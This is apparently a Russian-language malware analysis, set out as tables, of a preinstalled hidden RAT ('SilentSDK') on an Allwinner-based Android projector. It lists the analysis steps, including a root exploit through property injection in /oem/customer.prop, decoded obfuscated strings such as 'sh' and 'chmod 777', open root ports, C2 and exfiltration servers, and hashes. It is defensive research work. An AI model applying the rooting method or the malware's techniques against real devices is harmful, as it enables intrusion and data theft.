SoCAllwinner sun50iw12p1 (ARM 32-bit)
Операционная системаSpectraOS (Android 11, Kernel 5.4.99)
Реальный Build FingerprintAllwinner/h713_tuna_p3/h713-tuna_p3:11
Подмененный Build FingerprintADT-3/adt3/adt3:11/RP1A.201005.006
SELinuxPermissive (без принудительного применения)
Ключ подписи платформыПубличный AOSP Test Key
OEM-сертификатCN=蓝鲨, OU=www.bsh.me, C=CN
ПрошивкаHY260Pro_SpectraOS_TPYB
ШагДействиеРезультат
1Захват трафика WiresharkHTTP-трафик на store-api.aodintech.com
2Декодирование сжатого gzip ответа C27 приложений, включая скрытое «SilentTools»
3AES-CBC дешифрование пути загрузкиКлюч [REDACTED], URL к .bpp файлу
4Root-эксплойт через /oem/customer.propuid=0(root) после инъекции свойств
5Криминалистический дамп /data, /oem, /systemAPK, базы данных, конфигурации
6Статический анализ DEX StoreOSpm install -r -d, защита от реверс-инжиниринга
7Обратное проектирование механизма reverseLenПонимание защиты от анализа
8Взлом защиты от реверс-инжинирингаРасшифрованный, анализируемый DEX SilentSDK
9XOR-дешифрование строк SilentSDKДомен C2 api.pixelpioneerss.com подтвержден
10Проверка хеша из трех источниковMD5/SHA-256 полностью совпадают
11Обратное проектирование процесса загрузки вредоносного ПОСерверы все еще активны
12Обратное проектирование вредоносного ПОПлагинный RAT-фреймворк
ПриложениеПакетisShowisForceisSilent InstallisSilent UninstallТип запуска
YouTubecom.google.android.youtube.tvtruefalsefalsefalse0
Disney+com.disney.disneyplustruefalsefalsefalse0
Netflixcom.netflix.mediaclienttruefalsefalsefalse0
Chromecom.android.chrometruefalsefalsefalse0
Prime Videocom.amazon.amazonvideo.livingroomtruefalsefalsefalse0
BrowseHerecom.tcl.browsertruefalsefalsefalse0
SilentToolscom.hotack.silentsdkfalsetruefalsetrue1
Запутанный вызовРезультатФункция
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...})api.pixelpioneerss.comC2-домен
m36g({7,-68}, {116,-44,...})shБинарник оболочки для Runtime.exec()
m36g({-83,-92,-19,...}, {-50,-52,...})chmod 777Команда оболочки
m36g({-47,-3,-68,106,-76}, {-1,-119,...}).tempСуффикс временного файла для загрузок
m36g({125,61,58,...}, {21,73,78,...})https://Основной протокол
m36g({0,90,58,...}, {104,46,78,...})http://Резервный при ошибке SSL
m36g({-22,78,57}, {-71,29,117,...})SSLПротокол TLS
m36g({-15}, {-112,...})aПользовательское имя заголовка → значение 1003
m36g({17,67,42}, {124,39,...})md5MessageDigest.getInstance("md5")
m36g({-15,90,-128,21}, {-122,51,...})wifigetSystemService("wifi")
m36g({-48,89,-25,-31,...}, {-73,60,...})getprop wifi.interfaceРезервная оболочка: чтение имени интерфейса
m36g({-95,-26,-107,-91,...}, {-62,-121,...})cat /sys/class/net/Резервная оболочка: чтение MAC (префикс)
m36g({6,-88,45,-126,...}, {41,-55,...})/addressРезервная оболочка: чтение MAC (суффикс)
m36g({10,39,105,25,...}, {58,21,...})02:00:00:00:00:00Фиктивный MAC-адрес Android (маркер для API 23+)
ПортUIDОписание
65528root (0)Демон su
5555root (0)ADB без аутентификации
7889/7890system (1000)Неизвестный сервис
10012/10013system (1000)Фабричная отладка?
СерверКонечная точкаФункция
store-api.aodintech.comPOST /sign/app/listРаспространение приложений
sta.smartinnovate.netGET /*.jarРаспространение полезной нагрузки
cdn-store.aodintech.comGET /*.bppЗагрузка APK
event-api.aodintech.comPOST /reportТелеметрия
api.pixelpioneerss.comPOST /(random)C2 RAT SilentSDK
bur.thedynamicleap.com`POST (GZIP+AES)``Эксфильтрация телеметрии SilentSDK
pb-api.aodintech.comGET /api/collections/...Конфигурация рекламы
ota.triplesai.com:8080POST /V1/Ota/CheckОбновления прошивки
api.ipdatacloud.comGET /v2/queryГеолокация по IP
euads-o.api.leiniao.com—Вторичный рекламный сервер
connect.rom.miui.com—Телеметрия Xiaomi
Поддельное значение
Реальное значение
ro.build.fingerprintADT-3/adt3/adt3:11—
ro.product.build.*—Allwinner/h713_tuna_p3
Дата сборки—Tue Apr 22 15:20 CST 2025
SHA-256
Ответ сервера C25df097591d694...—
Наш декодированный APK5df097591d694...e5a193c31526a...
Внешний анализ—e5a193c31526a...